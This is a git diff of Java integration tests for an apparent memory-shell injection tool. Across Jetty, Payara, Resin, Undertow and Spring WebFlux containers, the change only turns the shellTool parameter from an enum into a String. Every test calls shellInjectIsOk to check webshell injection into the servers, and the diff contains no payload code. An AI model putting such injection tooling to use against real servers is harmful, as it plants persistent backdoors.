void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
}
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.jetty;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
@@ -68,7 +67,7 @@ public class Jetty10ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer, container, python);
}
}
@@ -71,7 +71,7 @@ public class Jetty11ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V17, packer, container, python);
}
}
@@ -71,7 +71,7 @@ public class Jetty12ee10ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python);
}
}
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.jetty;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
@@ -69,7 +68,7 @@ public class Jetty12ee8ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python);
}
}
@@ -71,7 +71,7 @@ public class Jetty12ee9ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python);
}
}
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.jetty;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
@@ -68,7 +67,7 @@ public class Jetty61ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
}
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.jetty;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
@@ -67,7 +66,7 @@ public class Jetty75ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
}
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.jetty;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
@@ -67,7 +66,7 @@ public class Jetty76ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
}
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.jetty;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
@@ -67,7 +66,7 @@ public class Jetty81ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
}
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.jetty;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
@@ -69,7 +68,7 @@ public class Jetty92ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
}
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.jetty;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
@@ -68,7 +67,7 @@ public class Jetty93ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
}
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.jetty;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
@@ -68,7 +67,7 @@ public class Jetty94ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
}
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.payara;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
@@ -67,7 +66,7 @@ public class Payara5201ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
}
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.payara;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
@@ -67,7 +66,7 @@ public class Payara520225ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
}
@@ -67,7 +67,7 @@ public class Payara620222ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V11, packer, container, python);
}
}
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.resin;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.SneakyThrows;
@@ -71,7 +70,7 @@ public class Resin3116ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
}
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.resin;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
@@ -67,7 +66,7 @@ public class Resin318ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
}
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.resin;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
@@ -67,7 +66,7 @@ public class Resin4058ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
}
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.resin;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
@@ -68,7 +67,7 @@ public class Resin4067ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V11, packer, container, python);
}
}
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.springwebflux;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
@@ -65,7 +64,7 @@ public class SpringBoot2WebFluxContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.SpringWebFlux, shellType, shellTool, Opcodes.V1_8, packer, container, python);
}
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.springwebflux;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
@@ -63,7 +62,7 @@ public class SpringBoot3WebFluxContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.SpringWebFlux, shellType, shellTool, Opcodes.V17, packer, container, python);
}

Some files were not shown because too many files have changed in this diff Show More